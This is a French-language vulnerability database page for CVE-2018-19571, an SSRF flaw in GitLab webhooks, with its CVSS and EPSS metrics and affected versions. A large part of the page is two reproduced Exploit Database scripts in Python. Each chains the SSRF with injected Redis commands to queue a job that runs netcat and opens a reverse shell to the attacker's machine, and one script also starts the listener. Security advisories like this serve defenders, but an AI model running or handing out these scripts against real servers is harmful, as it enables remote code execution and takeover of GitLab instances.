CVE-2018-19571 : Détail

CVE-2018-19571

7.7
/
Haute
Server-Side Request Forgery - SSRF
A10-Server-Side Req. Forgery (SSRF)
0.16%V3
Network
2019-07-10
14h01 +00:00
2020-12-24
17h06 +00:00
CVE.org
NVD
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Descriptions du CVE

GitLab CE/EE, versions 8.18 up to 11.x before 11.3.11, 11.4 before 11.4.8, and 11.5 before 11.5.1, are vulnerable to an SSRF vulnerability in webhooks.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-918 Server-Side Request Forgery (SSRF)
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 7.7 HIGH CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Changed

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 4 AV:N/AC:L/Au:S/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 49334

Date de publication : 2020-12-23 23h00 +00:00
Auteur : Norbert Hofmann
EDB Vérifié : No

# Exploit Title: GitLab 11.4.7 RCE (POC) # Date: 24th December 2020 # Exploit Author: Norbert Hofmann # Exploit Modifications: Sam Redmond, Tam Lai Yin # Original Author: Mohin Paramasivam # Software Link: https://gitlab.com/ # Environment: GitLab 11.4.7, community edition # CVE: CVE-2018-19571 + CVE-2018-19585 #!/usr/bin/python3 import requests from bs4 import BeautifulSoup import argparse import random parser = argparse.ArgumentParser(description='GitLab 11.4.7 RCE') parser.add_argument('-u', help='GitLab Username/Email', required=True) parser.add_argument('-p', help='Gitlab Password', required=True) parser.add_argument('-g', help='Gitlab URL (without port)', required=True) parser.add_argument('-l', help='reverse shell ip', required=True) parser.add_argument('-P', help='reverse shell port', required=True) args = parser.parse_args() username = args.u password = args.p gitlab_url = args.g + ":5080" local_ip = args.l local_port = args.P session = requests.Session() # Get Authentication Token r = session.get(gitlab_url + "/users/sign_in") soup = BeautifulSoup(r.text, features="lxml") token = soup.findAll('meta')[16].get("content") print(f"[+] authenticity_token: {token}") login_form = { "authenticity_token": token, "user[login]": username, "user[password]": password, "user[remember_me]": "0" } r = session.post(f"{gitlab_url}/users/sign_in", data=login_form) if r.status_code != 200: exit(f"Login Failed:{r.text}") # Create project import_url = "git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%2F.git" project_name = f'project{random.randrange(1, 10000)}' project_url = f'{gitlab_url}/{username}' print(f"[+] Creating project with random name: {project_name}") form = """\nmulti sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|""" + f'nc {local_ip} {local_port} -e /bin/bash' + """ \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1608799993.1234567,\\"enqueued_at\\":1608799993.1234567}" exec exec exec\n""" r = session.get(f"{gitlab_url}/projects/new") soup = BeautifulSoup(r.text, features="lxml") namespace_id = soup.find( 'input', {'name': 'project[namespace_id]'}).get('value') project_token = soup.findAll('meta')[16].get("content") project_token = project_token.replace("==", "%3D%3D") project_token = project_token.replace("+", "%2B") payload = f"utf8=%E2%9C%93&authenticity_token={project_token}&project%5Bimport_url%5D={import_url}{form}&project%5Bci_cd_only%5D=false&project%5Bname%5D={project_name}&project%5Bnamespace_id%5D={namespace_id}&project%5Bpath%5D={project_name}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0" cookies = { 'sidebar_collapsed': 'false', 'event_filter': 'all', 'hide_auto_devops_implicitly_enabled_banner_1': 'false', '_gitlab_session': session.cookies['_gitlab_session'], } headers = { 'User-Agent': 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Referer': f'{gitlab_url}/projects', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '398', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', } print("[+] Running Exploit") r = session.post( gitlab_url+'/projects', data=payload, cookies=cookies, headers=headers, verify=False) if "The change you requested was rejected." in r.text: exit('Exploit failed, check input params') print('[+] Exploit completed successfully!')
Exploit Database EDB-ID : 49257

Date de publication : 2020-12-13 23h00 +00:00
Auteur : Fortunato Lodari
EDB Vérifié : No

# Exploit Title: Gitlab 11.4.7 - Remote Code Execution # Date: 14-12-2020 # Exploit Author: Fortunato Lodari fox [at] thebrain [dot] net, foxlox # Vendor Homepage: https://about.gitlab.com/ # POC: https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ # Tested On: Debian 10 + Apache/2.4.46 (Debian) # Version: 11.4.7 community import sys import requests import time import random import http.cookiejar import os.path from os import path # Sign in GitLab 11.4.7 portal and get (using Burp or something other): # authenticity_token # authenticated cookies # username # specify localport and localip for reverse shell username='aaaaaaaaaaaa' authenticity_token='jpT/n1EoPwwWtiGu/+QKVQomofMNyqAQXY+iD2kVoRQoiQNzcFHPAj2+M4pyblKo/7UkClKW8jvp51Aw2qzs7g==' cookie = '_gitlab_session=c942527505cc0580c026610a1799b811; sidebar_collapsed=false' localport='1234' localip='192.168.0.114' url = "http://192.168.0.130:5080" proxies = { "http": "http://localhost:8080" } def deb(str): print("Debug => "+str) def create_payload(authenticity_token,prgname,namespace_id,localip,localport,username): return {'utf8':'✓','authenticity_token':authenticity_token,'project[ci_cd_only]':'false','project[name]':prgname,'project[namespace_id]':namespace_id,'project[path]':prgname,'project[description]':prgname,'project[visibility_level]':'20','':'project[initialize_with_readme]','project[import_url]':'git://[0:0:0:0:0:ffff:127.0.0.1]:6379/\n multi\n sadd resque:gitlab:queues system_hook_push\n lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\'|nc '+localip+' '+localport+' -e /bin/sh\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"\n exec\n exec\n exec\n/'+username+'/'+prgname+'.git'} import string def random_string(length): return ''.join(random.choice(string.ascii_letters) for m in range(length)) def init(username,cookie,authenticity_token,localport,localip): from bs4 import BeautifulSoup import re import urllib.parse deb("Token: "+authenticity_token) deb("Cookie: "+cookie) session=requests.Session() headers = {'user-agent':'Moana Browser 1.0','Cookie':cookie,'Content-Type':'application/x-www-form-urlencoded','DNT':'1','Upgrade-Insecure-Requests':'1'} r=session.get(url+'/projects/new',headers=headers,allow_redirects=True) soup = BeautifulSoup(r.content,"lxml") nsid = soup.findAll('input', {"id": "project_namespace_id"}) namespace_id=nsid[0]['value']; deb("Namespace ID: "+namespace_id) prgname=random_string(8) newpayload=create_payload(authenticity_token,prgname,namespace_id,localip,localport,username) newpayload=urllib.parse.urlencode(newpayload) deb("Payload encoded: "+newpayload) r=session.post(url+'/projects',newpayload,headers=headers,allow_redirects=False) os.system("nc -nvlp "+localport) init(username,cookie,authenticity_token,localport,localip)

Products Mentioned

Configuraton 0

Gitlab>>Gitlab >> Version From (including) 8.18.0 To (excluding) 11.3.11

Gitlab>>Gitlab >> Version From (including) 8.18.0 To (excluding) 11.3.11

Gitlab>>Gitlab >> Version From (including) 11.4.0 To (excluding) 11.4.8

Gitlab>>Gitlab >> Version From (including) 11.4.0 To (excluding) 11.4.8

Gitlab>>Gitlab >> Version From (including) 11.5.0 To (excluding) 11.5.1

Gitlab>>Gitlab >> Version From (including) 11.5.0 To (excluding) 11.5.1

Références